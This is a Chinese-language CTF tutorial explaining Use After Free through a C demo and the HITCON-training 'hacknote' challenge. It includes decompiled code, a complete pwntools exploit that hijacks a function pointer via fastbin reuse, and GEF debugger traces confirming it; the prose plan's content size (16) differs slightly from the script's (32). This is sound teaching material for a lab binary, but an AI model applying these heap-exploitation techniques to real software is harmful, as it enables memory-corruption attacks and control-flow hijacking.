CTF 堆利用入门:Use After Free 原理剖析与 HITCON hacknote 实战

原创2026-09-27 23:02:221,989 阅读
文章标签:网络安全文档知识库教程

CTF 堆利用入门:Use After Free 原理剖析与 HITCON hacknote 实战

导读

本文聚焦堆利用体系中最基础的漏洞类型——Use After Free(UAF,释放后使用),以 ctf-wiki 仓库 use-after-free.md 为主线,从漏洞原理、触发条件讲起,并以 HITCON-training 的 hacknote 题目为完整案例,带你走通"分析功能 → 定位释放未置空 → 结合 fastbin 复用机制 → 覆盖函数指针 → 劫持控制流"的完整利用链路。读完本文,你将掌握 dangling pointer 的成因、fastbin 的 LIFO 分配规则,以及如何用 pwntools 脚本 + GDB 验证每一步堆块复用过程。

UAF 漏洞原理:被释放后再次使用的内存

Use After Free 的含义正如其字面:当一个内存块被释放之后再次被使用。根据释放后指针与内存块状态的不同,可以细分为以下三种情况:

  • 指针置空后使用:内存块被释放后,其对应指针被设置为 NULL,之后再使用该指针,程序自然崩溃——这属于开发者正确释放但误用的情况,不属于可利用的漏洞;
  • 释放后未修改即使用:内存块被释放后,其对应指针没有被设置为 NULL,且在下一次使用之前没有任何代码对该内存块进行修改,那么程序很有可能可以正常运转(因为堆块内容此时仍保留原样);
  • 释放后被修改再使用:内存块被释放后,指针没有置空,且在下一次使用之前有代码对该内存块进行了修改(例如又被 malloc 分配出去并写入新数据),那么程序再次使用这块内存时,就很有可能会出现奇怪的问题。

我们一般所指的 Use After Free 漏洞主要是后两种情况。同时,被释放后没有设置为 NULL 的内存指针被称为 dangling pointer(悬垂指针)。悬垂指针的存在,使得攻击者可以在内存块被重新分配后,通过旧指针间接读写已被"他人"占据的内存区域,这是整个利用链的起点。

一个最直观的示例程序

仓库文档中给出了一个非常直观的 C 语言示例,完整演示了上述三种情况:

#include <stdio.h>
#include <stdlib.h>
typedef struct name {
  char *myname;
  void (*func)(char *str);
} NAME;
void myprint(char *str) { printf("%s\n", str); }
void printmyname() { printf("call print my name\n"); }
int main() {
  NAME *a;
  a = (NAME *)malloc(sizeof(struct name));
  a->func = myprint;
  a->myname = "I can also use it";
  a->func("this is my function");
  // free without modify
  free(a);
  a->func("I can also use it");
  // free with modify
  a->func = printmyname;
  a->func("this is my function");
  // set NULL
  a = NULL;
  printf("this pogram will crash...\n");
  a->func("can not be printed...");
}

运行结果如下:

➜  use_after_free git:(use_after_free) ✗ ./use_after_free
this is my function
I can also use it
call print my name
this pogram will crash...
[1]    38738 segmentation fault (core dumped)  ./use_after_free

注意观察输出序列:第一次 free(a) 之后,a->func 仍然是 myprint 的地址,调用它依然能正常打印;随后把 a->func 改为 printmyname 再调用,输出也正常;只有将 a 置为 NULL 后再调用 a->func(...),才触发 segmentation fault。这说明:free 只归还堆块,并不会清空指针,也不会清空堆块里的内容——这就是 UAF 能被利用的根本前提。而结构体中的函数指针 func,正是堆块内容的一部分,若这块内存被重新分配并写入攻击者可控数据,a->func 就可能被替换为任意地址。

实战题目:HITCON-training lab 10 hacknote

功能分析

本题来自 HITCON-training 的 lab 10,程序开头有一个菜单,包含四个选项:

  puts(" 1. Add note          ");
  puts(" 2. Delete note       ");
  puts(" 3. Print note        ");
  puts(" 4. Exit              ");

程序主要有三个功能:add_note(添加 note)、del_note(删除 note)、print_note(打印 note)。程序最多可以添加 5 个 note,每个 note 有两个字段:void (*printnote)(); 与 char *content;,其中 printnote 被设置为一个函数,其功能是输出 content 的具体内容。note 的结构体定义如下:

struct note {
  void (*printnote)();
  char *content;
};

add_note:申请两个堆块

add_note 函数的反编译代码如下(32 位程序):

unsigned int add_note()
{
  note *v0; // ebx
  signed int i; // [esp+Ch] [ebp-1Ch]
  int size; // [esp+10h] [ebp-18h]
  char buf; // [esp+14h] [ebp-14h]
  unsigned int v5; // [esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  if ( count <= 5 )
  {
    for ( i = 0; i <= 4; ++i )
    {
      if ( !notelist[i] )
      {
        notelist[i] = malloc(8u);
        if ( !notelist[i] )
        {
          puts("Alloca Error");
          exit(-1);
        }
        notelist[i]->put = print_note_content;
        printf("Note size :");
        read(0, &buf, 8u);
        size = atoi(&buf);
        v0 = notelist[i];
        v0->content = malloc(size);
        if ( !notelist[i]->content )
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Content :");
        read(0, notelist[i]->content, size);
        puts("Success !");
        ++count;
        return __readgsdword(0x14u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }
  return __readgsdword(0x14u) ^ v5;
}

关键点有二:

  1. 每个 note 会触发两次 malloc:第一次 malloc(8u) 申请 8 字节存放 note 结构体(即 printnote 函数指针 + content 指针);第二次 malloc(size) 按用户输入的大小申请 real content 内存;
  2. 写入 content 时使用 read(0, notelist[i]->content, size),大小完全由用户控制,可以精确控制写多少个字节到 content 区。

print_note:按索引调用函数指针

print_note 根据给定索引取出对应 note,并调用其 printnote 函数指针:

unsigned int print_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( notelist[v1] )
    notelist[v1]->put(notelist[v1]);
  return __readgsdword(0x14u) ^ v3;
}

注意索引校验只是 v1 < 0 || v1 >= count,而 count 是"已添加过的 note 数量",即使 note 已被释放,count 也不会减少——也就是说,释放后的 note 仍然可以通过索引被访问。

del_note:只 free 不置空

del_note 根据给定索引释放对应的 note:

unsigned int del_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( notelist[v1] )
  {
    free(notelist[v1]->content);
    free(notelist[v1]);
    puts("Success");
  }
  return __readgsdword(0x14u) ^ v3;
}

漏洞非常明显:删除时只是单纯执行了 free,既没有将 notelist[v1] 置为 NULL,也没有清除 printnote 字段。由于 notelist[v1] 依然保留着已被释放的堆块地址,且 print_note 的索引校验只看 count,这里就存在标准的 Use After Free 情况。

利用思路:把 printnote 覆盖为 magic 函数

既然存在 UAF,那么如何利用它?观察程序,其中还有一个 magic 函数,我们的目标是通过 use after free 使得程序执行 magic 函数。一个很直接的想法是:修改 note 的 printnote 字段为 magic 函数的地址,这样当程序执行 printnote 时就会执行 magic 函数。那么具体该怎么做到呢?

先梳理每个 note 生成时的内存布局:

  1. 程序申请 8 字节内存用来存放 note 中的 printnote 以及 content 指针;
  2. 程序根据输入的 size 申请指定大小的内存,用来存储 content。
          +-----------------+
          |   printnote     |
          +-----------------+
          |   content       |       size
          +-----------------+------------------->+----------------+
                                                 |     real       |
                                                 |    content     |
                                                 |                |
                                                 +----------------+

为什么能利用 fastbin 复用

根据仓库 堆概述 的介绍,glibc 的 ptmalloc2 分配器通过 malloc/free 管理堆块,被释放的内存不会立即归还操作系统,而是由堆管理器放入对应的 bin 中,用于响应后续的申请请求。note 结构体本身只有 8 字节用户数据,加上 chunk 头后是一个 fastbin chunk(大小 16 字节)。

fastbin 的关键特性是:相同大小的被释放 chunk 以单链表(fd 指针)形式组织,采用 LIFO(后进先出)规则。仓库中的 fastbin-attack.md 详细演示了这一机制——依次释放 chunk1、chunk2、chunk3 后,位于 main_arena 的 fastbin 链表头部指针指向 chunk3,链表顺序为 chunk3 → chunk2 → chunk1;下次 malloc 相同大小时会先返回 chunk3。这正是 hacknote 利用的核心:只要让新申请的 content 与旧的 note 结构体落在同一个 fastbin 桶里,写入 content 就能覆盖旧 note 的函数指针。

我们的目标是让某个 note 的 put 字段变成 magic 的地址。由于程序中只有 add_note 里唯一一处对 printnote 进行赋值(赋值为 print_note_content),所以必须利用写 real content 的时候进行覆盖。具体思路如下:

  • 申请 note0,real content size 为 16(与 note 大小所在的 bin 大小不同即可,保证二者不在同一个 fastbin 桶中互相干扰);
  • 申请 note1,real content size 为 16(同上);
  • 释放 note0;
  • 释放 note1;
  • 此时,大小为 16 的 fastbin chunk 链表中为 note1 → note0(后释放的 note1 在表头);
  • 申请 note2,并设置 real content 的大小为 8,那么根据堆的分配规则:
    • note2 结构体会分配 note1 对应的内存块;
    • note2 的 real content 会分配 note0 对应的内存块;
  • 此时向 note2 的 real content chunk 写入 magic 的地址,由于 notelist[0] 没有被置为 NULL,当我们再次尝试输出 note0 时,程序就会调用 magic 函数。

这里注意 content 大小选择 8 字节:在 32 位系统上,note 结构体(8 字节用户区 + 8 字节 chunk 头 = 16 字节)与 content 为 8 字节(8 字节用户区 + 8 字节 chunk 头 = 16 字节)的堆块恰好属于同一个 fastbin(size 0x10),因此 free 之后二者会进入同一条 fastbin 链表,可以互相复用。

利用脚本(pwntools)

完整的利用脚本如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

r = process('./hacknote')


def addnote(size, content):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)


def delnote(idx):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))


def printnote(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))


#gdb.attach(r)
magic = 0x08048986

addnote(32, "aaaa") # add note 0
addnote(32, "ddaa") # add note 1

delnote(0) # delete note 0
delnote(1) # delete note 1

addnote(8, p32(magic)) # add note 2

printnote(0) # print note 0

r.interactive()

流程拆解:

  1. addnote(32, ...) 添加 note0、note1,real content 大小 32 字节(0x28 的 chunk,属于另一个 fastbin 桶,避免与 0x10 的 note 结构体混淆);
  2. delnote(0)、delnote(1) 依次释放 note0、note1,注意删除顺序:先释放 note0(content 与结构体先后进入对应 fastbin),再释放 note1;
  3. addnote(8, p32(magic)) 申请 note2 且 content 大小为 8——note2 的结构体拿到 note1 的 8 字节堆块,note2 的 content 拿到 note0 的结构体堆块,随后 p32(magic) 恰好 4 字节写入 note0 结构体的 printnote 字段(即覆盖函数指针);
  4. printnote(0) 打印 note0,此时执行的是已被覆盖为 magic 地址的函数指针,从而触发 magic 函数,输出 flag。

magic = 0x08048986 是 32 位程序中 magic 函数的固定地址(该题无 PIE 保护,故地址可直接硬编码)。

GDB 验证:逐块还原 fastbin 复用过程

为了验证上述利用思路,可以用 GEF 在关键位置下断点,观察每一次 malloc/free 返回的地址,完整还原堆块复用过程。先对两处 malloc 和两处 free 下断点:

gef➤  b *0x0804875C
Breakpoint 1 at 0x804875c
gef➤  b *0x080486CA
Breakpoint 2 at 0x80486ca
gef➤  b *0x08048893
Breakpoint 3 at 0x8048893
gef➤  b *0x080488A9
Breakpoint 4 at 0x80488a9

继续执行程序,可以看出申请 note0 时,所申请到的结构体内存块地址为 0x0804b008(eax 存储函数返回值):

$eax   : 0x0804b008  →  0x00000000
$ebx   : 0x00000000
$ecx   : 0xf7fac780  →  0x00000000
$edx   : 0x0804b008  →  0x00000000
$esp   : 0xffffcf10  →  0x00000008
$ebp   : 0xffffcf48  →  0xffffcf68  →  0x00000000
$eip   : 0x080486cf  →  <add_note+89> add esp, 0x10

用 gef➤ heap chunk 0x0804b008 确认该堆块信息:

gef➤  heap chunk 0x0804b008
UsedChunk(addr=0x804b008, size=0x10)
Chunk size: 16 (0x10)
Usable size: 12 (0xc)
Previous chunk size: 0 (0x0)
PREV_INUSE flag: On

注意 Usable size: 12,即 8 字节用户数据 + 对齐到 16 字节,证实 note 结构体属于 0x10 的 fastbin。接着,申请 note0 的 content 返回地址 0x0804b018,其 chunk 大小为 0x28(用户请求 32 字节):

$eax   : 0x0804b018  →  0x00000000
$ebx   : 0x0804b008  →  0x0804865b  →  <print_note_content+0> push ebp
$esp   : 0xffffcf10  →  0x00000020
$eip   : 0x08048761  →  <add_note+235> add esp, 0x10

类似地,note1 的结构体与 content 地址分别为 0x0804b040 和 0x0804b050。用 grep 命令可以确认 note0、note1 的 content 确实写入了对应内存块:

gef➤  grep aaaa
[+] Searching 'aaaa' in memory
[+] In '[heap]'(0x804b000-0x806c000), permission=rw-
  0x804b018 - 0x804b01c  →   "aaaa"
gef➤  grep ddaa
[+] Searching 'ddaa' in memory
[+] In '[heap]'(0x804b000-0x806c000), permission=rw-
  0x804b050 - 0x804b054  →   "ddaa"

观察 free 与 fastbin 链表变化

进入 del_note 的 free 断点,可以看到首先 free 的是 note0 的 content(0x0804b018):

 →  0x8048893 <del_note+143>   call   0x80484c0 <free@plt>
   ↳   0x80484c0 <free@plt+0>     jmp    DWORD PTR ds:0x804a018
   ...
['0xffffcf20', 'l8']
8
0xffffcf20│+0x00: 0x0804b018  →  "aaaa"	 ← $esp

然后是 note0 结构体本身(0x0804b008):

 →  0x80488a9 <del_note+165>   call   0x80484c0 <free@plt>
   ...
0xffffcf20│+0x00: 0x0804b008  →  0x0804865b  →  <print_note_content+0> push ebp	 ← $esp

delete 结束后,查看 bins,可以发现释放的堆块确实被放入了对应的 fastbin 中:

gef➤  heap bins
───────────────────────────────────────────────────────────[ Fastbins for arena 0xf7fac780 ]───────────────────────────────────────────────────────────
Fastbins[idx=0, size=0x8]  ←  UsedChunk(addr=0x804b008, size=0x10)
Fastbins[idx=1, size=0xc] 0x00
Fastbins[idx=2, size=0x10] 0x00
Fastbins[idx=3, size=0x14]  ←  UsedChunk(addr=0x804b018, size=0x28)
Fastbins[idx=4, size=0x18] 0x00
Fastbins[idx=5, size=0x1c] 0x00
Fastbins[idx=6, size=0x20] 0x00

当 note1 也全部删除完毕后,再次查看 bins,可以清楚地看到后删除的 chunk 块确实处于链表表头(这正是 fastbin 的 LIFO 特性):

gef➤  heap bins
───────────────────────────────────────────────────────────[ Fastbins for arena 0xf7fac780 ]───────────────────────────────────────────────────────────
Fastbins[idx=0, size=0x8]  ←  UsedChunk(addr=0x804b040, size=0x10)  ←  UsedChunk(addr=0x804b008, size=0x10)
Fastbins[idx=1, size=0xc] 0x00
Fastbins[idx=2, size=0x10] 0x00
Fastbins[idx=3, size=0x14]  ←  UsedChunk(addr=0x804b050, size=0x28)  ←  UsedChunk(addr=0x804b018, size=0x28)
Fastbins[idx=4, size=0x18] 0x00
Fastbins[idx=5, size=0x1c] 0x00
Fastbins[idx=6, size=0x20] 0x00

可以观察到 0x10 桶的链表为 0x804b040 (note1) → 0x804b008 (note0),0x28 桶的链表为 0x804b050 (note1 content) → 0x804b018 (note0 content)。

验证 note2 的堆块复用与指针覆盖

此时即将申请 note2。可以看到 note2 结构体分配到的内存块为 0x804b040,正是 note1 对应的内存地址:

[+] Heap-Analysis - malloc(8)=0x804b040
[+] Heap-Analysis - malloc(8)=0x804b040
0x080486cf in add_note ()
...
$eax   : 0x0804b040  →  0x0804b000  →  0x00000000
$eip   : 0x080486cf  →  <add_note+89> add esp, 0x10

接着申请 note2 的 content,内存地址为 0x804b008,就是 note0 对应的地址——此时向 note2 的 content 写内容,就会覆盖 note0 的 put 字段:

gef➤  n 1
[+] Heap-Analysis - malloc(8)=0x804b008
[+] Heap-Analysis - malloc(8)=0x804b008
0x08048761 in add_note ()
...
$eax   : 0x0804b008  →  0x00000000
$ebx   : 0x0804b040  →  0x0804865b  →  <print_note_content+0> push ebp
$esp   : 0xffffcf10  →  0x00000008
$eip   : 0x08048761  →  <add_note+235> add esp, 0x10

覆盖前查看该内存块:printnote 指针已经被置为 NULL,这是由 fastbin 的 free 机制决定的(chunk 被释放进入 fastbin 时,其 fd 位置会被写入下一个空闲 chunk 的地址,而 16 字节 chunk 恰好把该区域写在 printnote 字段上):

gef➤  x/2xw 0x804b008
0x804b008:	0x00000000	0x0804b018

覆盖后,具体的值如下:

gef➤  x/2xw 0x804b008
0x804b008:	0x08048986	0x0804b00a
gef➤  x/i 0x08048986
   0x8048986 <magic>:	push   ebp

可以看出,printnote 字段确实已经被覆盖为我们所想要的 magic 函数地址。最后执行的效果如下:

[+] Starting local process './hacknote': pid 35030
[*] Switching to interactive mode
flag{use_after_free}----------------------
       HackNote
----------------------
 1. Add note
 2. Delete note
 3. Print note
 4. Exit
----------------------

程序成功输出了 flag。

使用 heap-analysis-helper 观察整体分配释放

还可以借助 GEF 的 heap-analysis-helper 插件来看整体堆的申请与释放情况:

gef➤  heap-analysis-helper
[*] This feature is under development, expect bugs and unstability...
[+] Tracking malloc()
[+] Tracking free()
[+] Tracking realloc()
[+] Disabling hardware watchpoints (this may increase the latency)
[+] Dynamic breakpoints correctly setup, GEF will break execution if a possible vulnerabity is found.
[*] Note: The heap analysis slows down noticeably the execution.
gef➤  c
Continuing.
[+] Heap-Analysis - malloc(8)=0x804b008
[+] Heap-Analysis - malloc(8)=0x804b008
[+] Heap-Analysis - malloc(32)=0x804b018
[+] Heap-Analysis - malloc(8)=0x804b040
[+] Heap-Analysis - malloc(32)=0x804b050
[+] Heap-Analysis - free(0x804b018)
[+] Heap-Analysis - watching 0x804b018
[+] Heap-Analysis - free(0x804b008)
[+] Heap-Analysis - watching 0x804b008
[+] Heap-Analysis - free(0x804b050)
[+] Heap-Analysis - watching 0x804b050
[+] Heap-Analysis - free(0x804b040)
[+] Heap-Analysis - watching 0x804b040
[+] Heap-Analysis - malloc(8)=0x804b040
[+] Heap-Analysis - malloc(8)=0x804b008
[+] Heap-Analysis - Cleaning up
[+] Heap-Analysis - Re-enabling hardware watchpoints
[New process 36248]
process 36248 is executing new program: /bin/dash
[New process 36249]
process 36249 is executing new program: /bin/cat
[Inferior 3 (process 36249) exited normally]

这里的 malloc/free 序列完整还原了利用过程:free(0x804b008)(note0 结构体)、free(0x804b040)(note1 结构体)之后,malloc(8) 两次分别返回 0x804b040(note1 结构体,被 note2 复用)与 0x804b008(note0 结构体,被 note2 的 content 复用)。第一条输出重复了两次,应是 GEF 工具本身的问题,不影响结论。最后 magic 函数内部调用了 /bin/dash 与 /bin/cat,说明控制流劫持成功。

从 hacknote 到通用 UAF 利用范式

hacknote 是理解 UAF 的最佳入门题,但它的利用手法完全可以抽象为通用范式,迁移到其他题目:

  1. 寻找悬挂指针:定位程序中 free 之后未置 NULL、且仍可被索引/访问的指针(注意索引校验逻辑,如 hacknote 中 count 不减);
  2. 识别可复用的 bin:判断被释放堆块会进入哪个 bin(fastbin / unsorted bin / tcache 等),并确认目标堆块与新申请的堆块是否同桶;
  3. 用旧指针触发读写:通过新申请的堆块向被复用的旧堆块写入攻击载荷(如覆盖函数指针、fd 指针、size 域等);
  4. 劫持控制流:触发旧指针对应的功能(如 printnote),执行已被覆盖的函数指针。

从仓库 fastbin-attack.md 可以看到,UAF 是 fastbin 系列攻击(Fastbin Double Free、House of Spirit、Alloc to Stack、Arbitrary Alloc)的前提之一——只要能控制 fastbin chunk 的内容,就可以进一步篡改 fd 指针,实现任意地址分配、覆盖 __malloc_hook 等进阶效果。hacknote 正是"通过 UAF 控制已被释放堆块内容"这一思路的最小演示。

此外,若题目运行在新版 glibc(引入 tcache 的 2.26+)上,利用路径会更简单:tcache 同 size 的桶同样为 LIFO 结构,且缺少对 double free 的严格检查(详见仓库 tcache-attack.md),UAF 常被用来直接构造 tcache poisoning。但核心思想——"释放后通过旧指针控制被复用堆块"——始终不变。

相关练习题目

掌握了上述利用流程后,可以尝试以下题目巩固:

  • 2016 HCTF fheap:同样是经典的 UAF 利用题,可作为后续练习,尝试独立分析其结构与利用思路。

深入阅读

  • use-after-free.md:本文主线文档,包含完整的原理、示例与 hacknote 全过程;
  • 堆概述:理解 malloc/free 背后的 ptmalloc2 机制、arena 与系统调用关系;
  • 堆相关数据结构:深入 chunk 结构、bin 的底层实现;
  • Fastbin Attack:fastbin 单链表与 LIFO 机制,以及 Double Free、House of Spirit、Alloc to Stack、Arbitrary Alloc 四种利用手法;
  • Tcache Attack:新版 glibc 下 tcache 相关的利用;
  • 堆溢出:与 UAF 并列的另一种常见堆漏洞,可对照学习。
登录后查看全文
ctf-wiki